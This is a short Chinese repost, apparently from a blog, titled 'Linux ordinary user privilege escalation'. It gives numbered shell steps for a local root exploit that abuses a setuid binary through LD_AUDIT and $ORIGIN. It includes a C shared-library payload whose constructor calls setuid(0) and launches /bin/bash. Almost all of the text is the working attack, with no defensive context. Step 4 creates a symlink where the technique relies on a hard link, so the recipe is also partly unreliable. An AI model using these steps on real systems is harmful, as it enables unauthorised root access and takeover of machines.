linux普通用户提权

1.useradd test

2.passwd test

3.mkdir /tmp/exploit

4.ln -s /usr/bin/ping /tmp/exploit/target

5.exec 3< /tmp/exploit/target

6.ls -l /proc/$$/fd/3

7.rm -rf /tmp/exploit

8.ls -l /proc/$$/fd/3

9.vim payload.c

void __attribute__((constructor)) init() 

{

setuid(0); system("/bin/bash");

}

10.gcc -w -fPIC -shared -o /tmp/exploit payload.c

11.ls -l /tmp/exploit

12.LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

13.whoami

linux普通用户提权

原文：https://www.cnblogs.com/yuanqc/p/11889870.html